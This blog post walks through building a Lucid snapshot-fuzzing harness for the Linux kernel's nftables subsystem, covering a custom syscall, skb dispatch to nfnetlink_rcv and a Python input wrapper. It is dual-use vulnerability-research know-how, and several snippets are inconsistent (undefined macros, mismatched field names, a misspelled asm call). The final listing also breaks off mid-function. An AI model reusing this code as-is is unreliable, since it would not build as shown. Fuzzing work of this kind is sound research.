Last episode on the blog we took a shallow and broad approach to fuzzing several Netlink-plumbed subsystems like Netfilter, Route, Crypto, and Xfrm. This endeavor wasn’t necessarily an earnest bug finding mission since we mostly wanted to just see how fuzzing a real target with Lucid would go and what things would need tweaking. We ended up changing quite a bit of the core-fuzzer features, specifically Redqueen issues, and were able to improve the fuzzer quite a bit. We modularized the mutator component of Lucid so now writing your own fuzzer for Lucid is as simple as implementing your own mutator. We can extend this even more, and will, by enabling the user to pass command line arguments directly to the bespoke mutator.

So now you can conceive of the main Lucid core components as a fuzzing engine and the mutator as the “fuzzer” because it is responsible for all of the target-specific characteristics. So for example, if we were to fuzz Chrome in Lucid, you would write a “Chrome fuzzer” by implementing your own fuzzing harness for Chrome and then implementing your own mutator to generate and mutate inputs.

We now switch to a more earnest bug finding mode of operation. I’ve decided for this series to focus on fuzzing nftables for a few different reasons:

• nftables doesn’t have as many eyeballs on it anymore, at least publicly, because kCTF has changed its rules around unprivileged usernamespaces which as severely decreased the value of exploitable bugs in surfaces that live behind those namespaces, so less competition
• nftables is extremely complex. There are serveral hierarchical structures and states that can occur and in addition, the code exists on two planes: a configuration plane responsible for creating these nested and complex resources and a data plane responsible for interacting with those created structures. For the early going, we’re going to be focusing exclusively on the control plane with designs on implementing data plane interactions later
• nftables has a history of bugs, so much so that it was explicitly disabled in kCTF’s bounty program
• Syzkaller fuzzes nftables already, but if you look at the types of messages it is able to generate, it tends to favor syntactically-valid but semantically-invalid inputs. For instance, it will send a well-formed message to create a resource, but the argument values themselves may be nonsense. Further, syzkaller currently has no way to track the state of resources if they were successfully created. So sequences like create resource -> modify resource -> use resource -> destroy resource are not possible currently unless they happen by sheer random chance which is highly unlikely
• lastly, this represents a fun engineering challenge. Creating a mutator/generator that is able to achieve deep stateful coverage of nftables will be something unique as far as public research goes I think

Adding Custom Syscall

The first thing we need is a way to interact with the nftables subsystem. My goto strategy here is to just create a custom syscall that usually takes a userland buffer pointer and a data length. This allows us to send an input from userland and have it traverse the harness and then hit the target subsystem. Now, this is not how I want to fuzz, but it is a useful setup for debugging, collecting coverage metrics for visualization, and also reproducing crashes. Ideally the flow looks like this:

1. Send data buffer via syscall
2. Context-switch to kernel mode as harness is about to parse input
3. [FUZZING-ONLY] Take snapshot
4. Harness parses input and dispatches to target subsystem
5. [FUZZING-ONLY] Reset snapshot
6. Return to userland

This setup gives us the best of both worlds, we can easily debug and play with our harness from userland and we can also fuzz completely in kernel context without having to emulate any expensive context switches per fuzzcase.

To add a new syscall, we have to edit the syscall_64.tbl file found in linux_version/arch/x86/entry/syscalls, wherein I added a new syscall entry right after the last syscall entry:

...
466	common	removexattrat		sys_removexattrat
467	common	open_tree_attr		sys_open_tree_attr
468	common	file_getattr		sys_file_getattr
469	common	file_setattr		sys_file_setattr
470 common  lucid_fuzz          sys_lucid_fuzz

Now we have to define it in the linux_version/include/linux/syscalls.h file:

...
asmlinkage long sys_geteuid16(void);
asmlinkage long sys_getgid16(void);
asmlinkage long sys_getegid16(void);
asmlinkage long sys_lucid_fuzz(const void __user *data, size_t len);

Because we want to fuzz nftables, I decided to implement the syscall itself in a new file called lucid_fuzz.c and placed that inside linux_version/net/netfilter folder:

#include <linux/kernel.h>
#include <linux/syscalls.h>
#include <linux/uaccess.h>

SYSCALL_DEFINE2(lucid_fuzz, const void __user *, data, size_t, len)
{
    printk("Inside lucid fuzz!\n");
	return 0;
}

Now we have to tell the kernel to compile this source file. This is accomplished by editing the folder’s Makefile to ensure that our lucid_fuzz.c file is used to create an object file. I changed the top line of the Makefile in my kernel version 6.17 to this:

netfilter-objs := core.o nf_log.o nf_queue.o nf_sockopt.o utils.o lucid_fuzz.o

When we build the kernel, we should see this in the output

  CC      net/netfilter/lucid_fuzz.o

To interact with the syscall, we’ll need a userland program. This is a small program to read data from standard in (easy to use in the future to reproduce crashes or replay fuzzing inputs) and then send that data via the syscall to the kernel:

// gcc harness.c -o harness -static
#define _GNU_SOURCE
#include <unistd.h>
#include <sys/syscall.h>
#include <stdio.h>
#include <errno.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <limits.h>

#ifndef __NR_lucid_fuzz
#define __NR_lucid_fuzz 470 // Our syscall number
#endif

int main(void) {
    // Start at a page, we'll double this if we need more memory
    size_t cap = 4096;
    size_t len = 0;
    const size_t MAX_CAP = 64 * 1024 * 1024; // Shouldn't need more than this?

    // Create a buffer to hold data
    uint8_t *buf = malloc(cap);
    if (!buf) {
        perror("malloc");
        return 1;
    }

    // Read until we can't
    while (1) {
        // Grab data from standard in, taking into account the offset as determined
        // by `len`
        ssize_t n = read(STDIN_FILENO, buf + len, cap - len);

        // If we got bytes...
        if (n > 0) {
            // Adjust offset
            len += (size_t)n;

            // See if we hit the current cap
            if (len == cap) {

                // Hit sanity check, bail
                if (cap >= MAX_CAP) {
                    fprintf(stderr, "refusing to grow beyond %zu bytes\n", MAX_CAP);
                    free(buf);
                    return 1;
                }

                // Create new backing buffer
                size_t ncap = cap * 2;

                // Lol 
                if (ncap <= cap) {
                    fprintf(stderr, "size overflow\n");
                    free(buf);
                    return 1;
                }

                // Make sure we didn't do an oopsie
                if (ncap > MAX_CAP) ncap = MAX_CAP;
                uint8_t *tmp = realloc(buf, ncap);
                if (!tmp) {
                    perror("realloc");
                    free(buf);
                    return 1;
                }

                // Update 
                buf = tmp;
                cap = ncap;
            }
            continue;
        }

        // Done reading: EOF
        if (n == 0) break;

        // Failed to read but just because of an interrupt, try again
        if (n < 0 && errno == EINTR) continue;
        
        // Bail on any other errors
        if (n < 0) {
            perror("read");
            free(buf);
            return 1;
        }
    }

    // Call our custom syscall 
    long ret = syscall(__NR_lucid_fuzz, buf, (size_t)len);

    // Need to make sure that our syscall returns meaningful data on error
    if (ret == -1) {
        int e = errno;
        fprintf(stderr, "lucid_fuzz failed: %s\n", strerror(e));
        free(buf);
        return 1;
    }

    printf("lucid_fuzz returned %ld\n", ret);
    free(buf);
    return 0;
}

Now we can test in qemu-system:

root@syzkaller:~# echo "lol" | harness
[  256.492957] Inside lucid fuzz!
lucid_fuzz returned 0
root@syzkaller:~# 

So everything works with the syscall, now it’s time to make it an actual fuzzing harness.

Deciding Input Format

We want to be able to create stateful inputs for nftables. This obviously means we need enough runway initially in our inputs to build up complex state! This seems obvious and simple, but I think it’s hard to actually implement correctly. We have to consider various things like:

• Not all “state” is “good state”: Just because an input can create 4096 nft_table data structures, doesn’t mean that that’s interesting from a vulnerability research perspective
• Short inputs are not likely going to create complex state: We need to have somewhat long inputs in order to build up state
• Extremely large inputs may be meaningless: There may not be any meaningful difference between short and long inputs when the short input is long enough to create “good state” and we may end up spending tons of CPU cycles doing nothing interesting and working on enormous inputs

With these things in mind, let’s first take a cautious approach and make sure we can generate long inputs some of the time, but most of the time focus on relatively normal sized inputs.

nftables Messages

nftables expects Netlink messages that are formatted a certain way. It has two modes of messaging as far as I can tell: standalone messages, which are simple messages like “object getters” and batched messages, which are for object creation/modification/deletion. They have gone with a design where anything that can modify state is subject to batching and everything that is read-only can be a standalone message. In the batch mode of operation, nftables will have something like a “staging” phase, where it parses the messages in the batch and validates them. While it’s validating each individual batched message, it makes sure that the resources being created/manipulated are sane and actually exist and are modifiable. nftables will stage all the changes and then if a single message fails in the batch, will attempt to roll back all of those staged changes. If batch message parsing succeeds however, it moves into a “commit” phase and makes the changes.

So basically, our input generator will need to be capable of sending batches of nftables requests with some simple read-only requests sprinkled in rarely. I decided to follow a high level input shape that is very similar to our last blogpost for this purpose. We will do the following:

1. Have Lucid inject a buffer of bytes at a location in Bochs’ memory. This is standard and how you want to separate duties between Lucid the fuzzing engine and Lucid’s mutators/generators. Let Lucid the fuzzing engine inject a byte blob, let the harness/mutator/generator make sense of the blob.
2. We will pre-allocate socket buffer structures skb(s) in the kernel so that we don’t do any large allocations in the fuzzing loop
3. The harness will parse the byte blob, and package each input series from the mutator in an skb and ship the skb off to nftables for parsing
4. We will separate series of nftables messages into what we’ll call “envelopes”. Last blogpost we called them “messages” but because Netlink also operates on “messages” this nomenclature is confusing.

Our input then will contain two different data structures as the harness sees things:

// An input structure
struct lf_input {
	u32 total_len;
	u32 num_envs;
	u8 data[];
};

// An envelope structure
struct lf_envelope {
	u32 len;
	u8 data[];
};

This is very similar to our last blogpost, but with some key changes to the envelope structure. So in practice, an input will always have a single struct lf_input structure at its beginning describing the input in its entirety, and then, up to the max number of envelopes, a series of struct lf_envelope structures containing the actual Netlink messages for nftables in its data member. So an input may look like:

[
	[lf_input: total_len=4096, num_msgs=2]
		[lf_envelope: len=2048, <data>]
		[lf_envelope: len=2048, <data>]
]

Remember: the core Lucid components know nothing about this structure, Lucid is only responsible for injecting the input and its length into the target at a location in memory. It’s up to the mutator and the harness to make sense of the structure.

So now let’s implement the harness with this in mind. It will need to receive the bytes, parse them, wrap each envelope’s data in an skb and send the skb to nftables.

Reaching nftables

The normal path user input takes to nftables is something like:

1. userland process creates an NETLINK_NETFILTER Netlink socket
2. userland process sends request via sendmsg syscall or similar (maybe sendto) via the Netlink socket
3. those bytes get wrapped in an skb in netlink_sendmsg
4. based on the socket’s protocol type, netlink_sendmsg will find the Netfilter’s registered kernel socket that was initialized at kernel boot, the socket has a callback attached to it called .input that is to be invoked when there is data ready for it
5. The callback, which points to nfnetlink_rcv, is invoked and receives the skb holding our data from userland

We can do similar things, but make it more direct since we know the destination in our harness is nftables. We can:

1. Pre-allocate skb structures to hold our envelopes
2. Parse the lf_input, and by included lf_envelope:
3. Stuff the envelope’s data into an skb
4. Send the skb directly to nfnetlink_rcv
5. Repeat, go back to the 3

Harness Init Code

Let’s go ahead and fill out the logic for the initialization routine of our custom syscall, this is code that will be invoked once before we start fuzzing and will not occur in the fuzzing loop. This is code that is meant to set up everything we need for the harness to work appropriately. This is where we will setup the skbs and to do so, we’ll need to define some constants that describe maximum input shapes. The first constant we need to set is the MAX_NUM_ENVELOPES, this is going to tell us how many struct lf_envelope structures can exist in an struct lf_input. We’ll also need to know the MAX_ENVELOPE_LEN which will obviously describe how big these envelopes’ data payload can be. Finally, as a byproduct of both the maximum number of envelope structures and their maximum length, we’ll deduce the MAX_INPUT_LEN, which is the largest possible size we can achieve for the lf_input->total_len value.

For now, let’s go ahead and say that we can have up to 24 envelopes, and each one can be up to 8192 bytes. In the mutator, well define min/max thresholds where we mostly uniformly distribute size selection between those two thresholds with a small possibility of going lower or higher than them. So most of the time we’ll do at least 8 envelopes and less than or exactly 16 envelopes. Something like that. We’ll make 1-7 and 17-24 very rare. Same with the sizes, well try not to send an insane amount of nftables messages per envelope and approach the 8k max. But this is for a later blogpost on the mutator.

With the constants in mind we can build. We can do all of this in af_netlink.c in /net/netlink because it has all of the things we need access to and makes everything easy. So we’ll implement lf_init in there, which means we need access to lucid_init in our lucid_fuzz.c stand alone source file, so we’ll change that to:

#include <linux/kernel.h>
#include <linux/syscalls.h>
#include <linux/uaccess.h>

// These will be defined in /include/net/lucid_fuzz.h
extern int lucid_fuzz_init(const void __user *data, size_t len);

SYSCALL_DEFINE2(lucid_fuzz, const void __user *, data, size_t, len)
{
    int ret = 0;

    printk("Inside lucid fuzz!\n");
    printk("Calling lucid_fuzz_init...\n");
    ret = lucid_fuzz_init(data, len);
    if (ret)
        goto done;

done:
	return ret;
}

Now we’ll need to create that header file in /include/net/lucid_fuzz.h:

/* SPDX-License-Identifier: GPL-2.0 */
#ifndef _NET_LUCID_FUZZ_H
#define _NET_LUCID_FUZZ_H

int lucid_fuzz_init(const void __user *data, size_t len);

#endif /* _NET_LUCID_FUZZ_H */

Now we can include that header in af_netlink.c. And we get started in that source file with our defines of our constants we discussed:

/*************** Start of Lucid Fuzzing Harness *****************************/
#define LF_MAX_NUM_ENVS 24UL // Number of envelopes in an input
#define LF_MAX_ENV_LEN 8192UL // Number of bytes in an envelope payload 
#define LF_INPUT_HDR_SIZE (sizeof(u32) * 2) // lf_input->total_len, num_envs
#define LF_ENV_HDR_SIZE (sizeof(u32)) // lf_envelope->len
#define LF_MAX_TOTAL_ENV ((LF_MAX_ENV_LEN + LF_ENV_HDR_SIZE) * LF_MAX_NUM_ENVS)
#define LF_MAX_INPUT_LEN (LF_MAX_TOTAL_ENV + LF_INPUT_HDR_SIZE)

Next, I defined the LUCID_SIGNATURE that Lucid scans for when trying to decide where to inject inputs. It knows the layout of the struct lf_fuzzcase so it knows that directly after the signature portion it has a length field and then the variable length data field where it inserts the raw bytes:

// Structure that describes an input as Lucid sees it
struct lf_fuzzcase {
	unsigned char signature[16];
	size_t input_len;
	u8 input[LF_MAX_INPUT_LEN];
};

// Create instance of the struct
struct lf_fuzzcase fc = {
	.signature = LUCID_SIGNATURE,
	.input_len = 0,
	.input = { 0 }	/* Where Lucid injects an input */
};

Then we define some globals that we need to initialize:

• handler: This is a function pointer basically to the nfnetlink_rcv function that we look up by protocol in the init namespace
• kern_sock: This is the struct sock that is registered during kernel boot for the Netfilter subsystem to receive data from userland (and I guess kernel threads?)
• skbs: Just a flat buffer of the skb structures we’ll need to use to wrap our envelope data, the harness exchanges envelopes by skb structures

Finally the initialization routine is thus:

// The function pointer we send the skbs to, the netlink rcv handler for
// netfilter nfnetlink_rcv
void *handler = NULL;

// The kernel-registered socket waiting for input from us
struct sock *kern_sock = NULL;

// Pool of skbs we use to store data in envelopes
struct sk_buff *skbs[LF_MAX_NUM_ENVS] = { 0 }; 

// Our initialization function, called before we do any fuzzing
int lucid_fuzz_init(const void __user *data, size_t len) {
	int err = 0;
	int i = 0;
	struct sk_buff *skb = NULL;

	printk("Hello from lucid_fuzz_init\n");
	printk("LF_MAX_INPUT_LEN is: %lu\n", LF_MAX_INPUT_LEN);

	// Copy the user data over to the fuzzcase instance if there is any
	if (len > 0 && len <= LF_MAX_INPUT_LEN) {
		if (copy_from_user(
			fc.input, data, len
		))
		{
			err = -EFAULT;
			goto done;
		}
		fc.input_len = len;
	}

	// Doing this how other kernel code does it, lock the global table
	netlink_table_grab();

	// Pre-set the err as if we failed to find the handler for NETFILTER
	err = -ENOENT;

	// Check to see if the handler is registered
	if (!nl_table[NETLINK_NETFILTER].registered) {
		netlink_table_ungrab();
		goto done;
	}

	// Grab the kernel socket
	kern_sock = netlink_lookup(&init_net, NETLINK_NETFILTER, 0);
	if (!kern_sock) {
		netlink_table_ungrab();
		goto done;
	}

	// Grab that .input handler
	handler = nlk_sk(kern_sock)->netlink_rcv;
	if (!handler) {
		netlink_table_ungrab();
		goto done;
	}

	// Ungrab the table we're done with it
	netlink_table_ungrab();

	// Pre-set
	err = -ENOMEM;

	// Create all of the socket buffers we need and store them
	for (i = 0; i < LF_MAX_NUM_ENVS; i++) {
		skb = alloc_skb(LF_MAX_ENV_LEN, GFP_KERNEL);
		// If we failed, unroll all the previous allocations
		if (!skb) {
			while (--i >= 0) {
				kfree_skb(skbs[i]);
				skbs[i] = NULL;
			}
			goto done;
		}

		// Initialize what we need to look legit
		skb->pkt_type = PACKET_HOST;
		skb->sk = kern_sock;
		NETLINK_CB(skb).portid = 0x1337;
		NETLINK_CB(skb).dst_group = 0;
		NETLINK_CB(skb).creds.uid = GLOBAL_ROOT_UID;
		NETLINK_CB(skb).creds.gid = GLOBAL_ROOT_GID;
		NETLINK_CB(skb).flags = NETLINK_SKB_DST;

		// Store the skb
		skbs[i] = skb;
	}

	// We are so done dude, it worked
	err = 0;

done:
	return err;
}

This should initialize all of the structures we need to start actually parsing inputs and dispatching them in the main harness function.

Main Parsing Routine

We’ve reached the point now where the input buffer global is loaded with data and we know the address of the function to invoke to dispatch the data to Netfilter. We’ve also initialized the socket buffers we’re going to use to do the transportation. We need to describe what an input looks like, so let’s define our input structures.

// Define our input structures
struct lf_input {
	u32 total_len;
	u32 num_envs;
	u8 data[];
};

struct lf_envelope {
	u32 len;
	u8 data[];
};

The first thing we do in the main loop is take the snapshot that Bochs will save to disk. The Lucid workflow is something like:

1. develop environment, harness
2. put a special NOP operation in the harness where you want to snapshot fuzz from (xchg dx, dx)
3. run the environment/harness in the gui-bochs. This is relatively normal Bochs binary built with GUI support that is supposed to be user-friendly and allow you to dump this Bochs snapshot to disk
4. the Rust fuzzer binary, lucid-fuzz can then take that Bochs snapshot on disk, and resume its execution with a purpose-built lucid-bochs binary. This will call into the Lucid fuzzer before it emulates the first instruction and create a new kind of snapshot that Lucid can understand and restore every fuzzing iteration.

Below is the code I’ve added to Bochs to save the Bochs snapshot to disk when we encounter the xchg dx, dx NOP, where i is a variable name for the instruction structure:

#if BX_SNAPSHOT
  // Check for take snapshot instruction `xchg dx, dx`
  if ((i->src() == i->dst()) && (i->src() == 2)) {
    BX_COMMIT_INSTRUCTION(i);
    if (BX_CPU_THIS_PTR async_event)
      return;
    ++i;
    char save_dir[] = "/tmp/lucid_snapshot";
    mkdir(save_dir, 0777);
    printf("Saving Lucid snapshot to '%s'...\n", save_dir);
    if (SIM->save_state(save_dir)) {
      printf("Successfully saved snapshot\n");
      sleep(2);
      exit(0);
    }
    else {
      printf("Failed to save snapshot\n");
    }
    BX_EXECUTE_INSTRUCTION(i);
  }
#endif

Then we get around to making sure we have enough bytes to form the metadata structure (lf_input) and sanity check its values before moving on to the nested envelopes. You’ll notice that all error paths are return 1;, this is so that during fuzzing and mutator development, we skip over the snapshot restore NOP instruction at the end of the main fuzzing loop in the harness. This cascade of timeouts will let us know that we have a bug in our mutator. Here is the main loop:

// Main input processing logic
int lucid_fuzz_handle_input(void) {
	struct lf_input *input = NULL;
	struct lf_envelope *env = NULL;
	struct sk_buff *fuzz_skb = NULL;
	u32 remaining = 0;
	u32 offset = 0;

	printk("Hello from lucid_fuzz_handle_input\n");

	/** LUCID TAKES SNAPSHOT HERE **/
	// This special NOP instruction, when interpreted by Bochs will cause
	// Bochs to save a snapshot of its state to disk that Lucid will be able
	// to resume in its purpose built version of Bochs called `lucid_bochs`
	asm volatile("xchgw %dx, %dx");

	// Make sure we enough bytes to construct the input metadata
	if (fc.input_len < sizeof(lf_input))
		return 1;

	// Cast the data to our metadata struct
	input = (struct lf_input *)fc.input;

	// Sanity check the values
	if (input->total_len != fc.input_len || input->total_len > LF_MAX_INPUT_SIZE)
		return 1;

	// Sanity check the number of messages
	if (input->num_msgs > LF_MAX_NUM_ENVS || input->num_msgs == 0)
		return 1;

	// Check how many remaining bytes we have, and subtract what we already
	// consumed with the input metadata
	remaining = input->total_len;
	remaining -= LF_INPUT_HDR_SIZE;

	// Start tracking an offset into the byte buffer where we're reading from
	offset = LF_INPUT_HDR_SIZE;

Then we can start iterating through envelopes and parsing them. Each successfully parsed envelope gets turned into an skb and dispatched to nftables:

// Iterate through the envelopes and parse each one
	for (i = 0; i < input->num_envs; i++) {
		// Make sure we have enough data remaining to parse an envelope metadata
		if (remaining < LF_ENV_HDR_SIZE)
			return 1;

		// We can at least read the length field, and sanity check it
		env = (struct lf_envelope *)(fc.input + offset);
		if (env->len > LF_MAX_MSG_SIZE || env->len == 0)
			return 1;

		// Consume those bytes
		remaining -= LF_ENV_HDR_SIZE;

		// Make sure we can read that much data
		if (remaining < env->len)
			return 1;

		// We have enough data left, create the skb for this envelope
		fuzz_skb = create_fuzz_skb(env, i);
		if (!fuzz_skb)
			return 1;

		// Dispatch the fuzz_skb to nftables!
		dispatch_skb(fuzz_skb);

		// Update our offset
		offset += (LF_ENV_HDR_SIZE + env->len);

		// Update remaining
		remaining -= env->len;

	}

We initialize the fuzz_skb in this function. This is where we set the socket buffer up with all the information we need to successfully get received and parsed by nftables. We exchange the “envelope” wrapper for the socket buffer wrapper instead:

// Creates a socket buffer filled with fuzz message
static struct sk_buff *create_fuzz_skb(struct lf_envelope *env, int idx) {
	struct sk_buff *skb = NULL;

	// Sanity check
	if (idx >= LF_MAX_NUM_ENVS)
		return NULL;

	// Grab socket buffer from global buf
	skb = skbs[idx];

	// Set the socket buffer's sock to the kernel sock for Netfilter
	skb->sk = kern_sock;

	// Inject fuzz data and set sizes
	memcpy(skb_put(skb, env->len), env->data, env->len);

	return skb;
}

The dispatching of the skb is simple, we just cast the handler to the right function pointer signature and then invoke it with the skb:

// Dispatches the skb to the appropriate netlink recv handler
static void dispatch_skb(struct sk_buff *skb) {
	// Create function pointer, msg->protocol already sane
	void (*rcv)(struct sk_buff *) = handler;

	// Dispatch!
	rcv(skb);
}

The main fuzzing loop then of course restores the snapshot after we’re done parsing envelopes:

// Done parsing envelopes, check if we have remaining bytes
	if (remaining)
		return 1;

	/** LUCID RESTORES SNAPSHOT **/
	asm_volatile("xchgw %bx, %bx");

	// Finally done
	return 0;

We’ll save the rest of the snippets for the source files I’ll post at the end.

Testing Harness

Everything is wired up, so now we can send inputs via the harness userland binary we compiled. Let’s check out strace on the nft userland utility and see where the Netlink message to create an nft_table is sent over the Netlink socket. Our nft command is: nft add table inet fuzz:

// Create the Netlink socket of the protocol type NETLINK_NETFILTER
socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER) = 3

// Send the Netlink message to create a table over that socket fd we just created
sendto(3, [{nlmsg_len=20, nlmsg_type=NFNL_SUBSYS_NFTABLES<<8|NFT_MSG_GETGEN, nlmsg_flags=NLM_F_REQUEST, nlmsg_seq=0, nlmsg_pid=0}, {nfgen_family=AF_UNSPEC, version=NFNETLINK_V0, res_id=htons(0)}], 20, 0, {sa_family=AF_NETLINK, nl_pid=0, nl_groups=00000000}, 12) = 20
recvmsg(3, {msg_name={sa_family=AF_NETLINK, nl_pid=0, nl_groups=00000000}, msg_namelen=12, msg_iov=[{iov_base=[{nlmsg_len=44, nlmsg_type=NFNL_SUBSYS_NFTABLES<<8|NFT_MSG_NEWGEN, nlmsg_flags=0, nlmsg_seq=0, nlmsg_pid=125392}, {nfgen_family=AF_UNSPEC, version=NFNETLINK_V0, res_id=htons(103)}, [[{nla_len=8, nla_type=0x1}, "\x00\x00\x00\x67"], [{nla_len=8, nla_type=0x2}, "\x00\x01\xe9\xd0"], [{nla_len=8, nla_type=0x3}, "\x6e\x66\x74\x00"]]], iov_len=69631}], msg_iovlen=1, msg_controllen=0, msg_flags=0}, 0) = 44

So it happens during sendmsg syscall, so what I did was just write an LD_PRELOAD shared object to hexdump the iovec data sent over sendmsg. So now I can get a hexdump -C style output for the nft message:

LD_PRELOAD=$PWD/hexdump_netlink.so nft add table inet fuzz
00000000  14 00 00 00 10 00 01 00  00 00 00 00 00 00 00 00 |................|
00000010  00 00 0a 00 28 00 00 00  00 0a 01 00 01 00 00 00 |....(...........|
00000020  00 00 00 00 01 00 00 00  09 00 01 00 66 75 7a 7a |............fuzz|
00000030  00 00 00 00 08 00 02 00  00 00 00 00 14 00 00 00 |................|
00000040  11 00 01 00 02 00 00 00  00 00 00 00 00 00 0a 00 |................|

Now we know what a legit nftables message looks like and we can wrap it in our lf_input and lf_envelope structures and test the harness! I took that output and just hardcoded it into a janky Python script to dump the binary to the terminal:

import struct
import sys

# Dumped message
msg_str = [
    "00000000  14 00 00 00 10 00 01 00  00 00 00 00 00 00 00 00 |................|",
    "00000010  00 00 0a 00 28 00 00 00  00 0a 01 00 01 00 00 00 |....(...........|",
    "00000020  00 00 00 00 01 00 00 00  09 00 01 00 66 75 7a 7a |............fuzz|",
    "00000030  00 00 00 00 08 00 02 00  00 00 00 00 14 00 00 00 |................|",
    "00000040  11 00 01 00 02 00 00 00  00 00 00 00 00 00 0a 00 |................|"
]

# Byte string we'll fill
all_bytes = b''
for line in msg_str:
    # Skip the offset stuff
    hex_start = line[10:]

    # Cut off the back ascii stuff
    hex_str = hex_start[:len(hex_start) - 18]

    # Remove the spaces
    hex_str = hex_str.replace(" ", "")

    # Start appending
    all_bytes += bytes.fromhex(hex_str)

# Now with bytes, wrap that in envelope
envelope_len = len(all_bytes)
envelope = struct.pack('<I', envelope_len) + all_bytes

# Now wrap that in an lf_input
num_envs = 1
total_len = 8 # Metadata for lf_input
total_len += len(envelope)
lf_input = struct.pack('<II', total_len, num_envs) + envelope

# Write that to stdout
sys.stdout.buffer.write(lf_input)

We can now pipe that to base64 and then pipe that to the harness for testing:

[devbox:~/nft_fuzzing]$ python3 wrapper.py | base64
XAAAAAEAAABQAAAAFAAAABAAAQAAAAAAAAAAAAAACgAoAAAAAAoBAAEAAAAAAAAAAQAAAAkAAQBmdXp6AAAAAAgAAgAAAAAAFAAAABEAAQACAAAAAAAAAAAACgA=

Then when we run echo "<base64>" | harness on the qemu-system running our custom kernel, we get the following kernel logs:

[   23.347957] Inside lucid fuzz!
[   23.349015] Calling lucid_fuzz_init...
[   23.350233] Hello from lucid_fuzz_init
[   23.351399] LF_MAX_INPUT_LEN is: 196712
[   23.355266] Hello from lucid_fuzz_handle_input
[   23.359789] Calling lucid_fuzz_cleanup...
lucid_fuzz returned 0

So the harness works!

Conclusion

Hopefully this helps you understand how to write a harness for Lucid. We needed to:

1. identify a way to inject raw input bytes into kernel memory
2. take a snapshot with our special NOP instruction
3. implement a custom protocol that our harness can understand so that it can parse the raw input bytes into something that can be sent to the target
4. reset the snapshot with our special NOP instruction
5. cleanup all the resources in the harness so we can use it for debugging as well.

I’ve pasted the full harness code that I added in af_netlink.c below, cheers:

/*************** Start of Lucid Fuzzing Harness *****************************/
#define LF_MAX_NUM_ENVS 24UL // Number of envelopes in an input
#define LF_MAX_ENV_LEN 8192UL // Number of bytes in an envelope payload 
#define LF_INPUT_HDR_SIZE (sizeof(u32) * 2) // lf_input->total_len, num_envs
#define LF_ENV_HDR_SIZE (sizeof(u32)) // lf_envelope->len
#define LF_MAX_TOTAL_ENV ((LF_MAX_ENV_LEN + LF_ENV_HDR_SIZE) * LF_MAX_NUM_ENVS)
#define LF_MAX_INPUT_LEN (LF_MAX_TOTAL_ENV + LF_INPUT_HDR_SIZE)

// Used by Lucid when scanning for where to inject the input 
#define LUCID_SIGNATURE { 0x13, 0x37, 0x13, 0x37, 0x13, 0x37, 0x13, 0x37, \
                          0x13, 0x38, 0x13, 0x38, 0x13, 0x38, 0x13, 0x38 }

// Structure that describes an input as Lucid sees it
struct lf_fuzzcase {
	unsigned char signature[16];
	size_t input_len;
	u8 input[LF_MAX_INPUT_LEN];
};

// Create instance of the struct
struct lf_fuzzcase fc = {
	.signature = LUCID_SIGNATURE,
	.input_len = 0,
	.input = { 0 }	/* Where Lucid injects an input */
};

// The function pointer we send the skbs to, the netlink rcv handler for
// netfilter nfnetlink_rcv
void *handler = NULL;

// The kernel-registered socket waiting for input from us
struct sock *kern_sock = NULL;

// Pool of skbs we use to store data in envelopes
struct sk_buff *skbs[LF_MAX_NUM_ENVS] = { 0 }; 

// Our initialization function, called before we do any fuzzing
int lucid_fuzz_init(const void __user *data, size_t len) {
	int err = 0;
	int i = 0;
	struct sk_buff *skb = NULL;

	printk("Hello from lucid_fuzz_init\n");
	printk("LF_MAX_INPUT_LEN is: %lu\n", LF_MAX_INPUT_LEN);

	// Copy the user data over to the fuzzcase instance if there is any
	if (len > 0 && len <= LF_MAX_INPUT_LEN) {
		if (copy_from_user(
			fc.input, data, len
		))
		{
			err = -EFAULT;
			goto done;
		}
		fc.input_len = len;
	}

	// Doing this how other kernel code does it, lock the global table
	netlink_table_grab();

	// Pre-set the err as if we failed to find the handler for NETFILTER
	err = -ENOENT;

	// Check to see if the handler is registered
	if (!nl_table[NETLINK_NETFILTER].registered) {
		netlink_table_ungrab();
		goto done;
	}

	// Grab the kernel socket
	kern_sock = netlink_lookup(&init_net, NETLINK_NETFILTER, 0);
	if (!kern_sock) {
		netlink_table_ungrab();
		goto done;
	}

	// Grab that .input handler
	handler = nlk_sk(kern_sock)->netlink_rcv;
	if (!handler) {
		netlink_table_ungrab();
		goto done;
	}

	// Ungrab the table we're done with it
	netlink_table_ungrab();

	// Pre-set
	err = -ENOMEM;

	// Create all of the socket buffers we need and store them
	for (i = 0; i < LF_MAX_NUM_ENVS; i++) {
		skb = alloc_skb(LF_MAX_ENV_LEN, GFP_KERNEL);
		// If we failed, unroll all the previous allocations
		if (!skb) {
			while (--i >= 0) {
				kfree_skb(skbs[i]);
				skbs[i] = NULL;
			}
			goto done;
		}

		// Initialize what we need to look legit
		skb->pkt_type = PACKET_HOST;
		skb->sk = kern_sock;
		NETLINK_CB(skb).portid = 0x1337;
		NETLINK_CB(skb).dst_group = 0;
		NETLINK_CB(skb).creds.uid = GLOBAL_ROOT_UID;
		NETLINK_CB(skb).creds.gid = GLOBAL_ROOT_GID;
		NETLINK_CB(skb).flags = NETLINK_SKB_DST;

		// Store the skb
		skbs[i] = skb;
	}

	// We are so done dude, it worked
	err = 0;

done:
	return err;
}

// Define our input structures
struct lf_input {
	u32 total_len;
	u32 num_envs;
	u8 data[];
};

struct lf_envelope {
	u32 len;
	u8 data[];
};

// Creates a socket buffer filled with fuzz message
static struct sk_buff *create_fuzz_skb(struct lf_envelope *env, int idx) {
	struct sk_buff *skb = NULL;

	// Sanity check
	if (idx >= LF_MAX_NUM_ENVS)
		return NULL;

	// Grab socket buffer from global buf
	skb = skbs[idx];

	// Set the socket buffer's sock to the kernel sock for Netfilter
	skb->sk = kern_sock;

	// Inject fuzz data and set sizes
	memcpy(skb_put(skb, env->len), env->data, env->len);

	return skb;
}

// Dispatches the skb to the appropriate netlink recv handler
static void dispatch_skb(struct sk_buff *skb) {
	// Create function pointer, msg->protocol already sane
	void (*rcv)(struct sk_buff *) = handler;

	// Dispatch!
	rcv(skb);
}

// Main input processing logic
int lucid_fuzz_handle_input(void) {
	int i = 0;
	struct lf_input *input = NULL;
	struct lf_envelope *env = NULL;
	struct sk_buff *fuzz_skb = NULL;
	u32 remaining = 0;
	u32 offset = 0;

	printk("Hello from lucid_fuzz_handle_input\n");

	/** LUCID TAKES SNAPSHOT HERE **/
	// This special NOP instruction, when interpreted by Bochs will cause
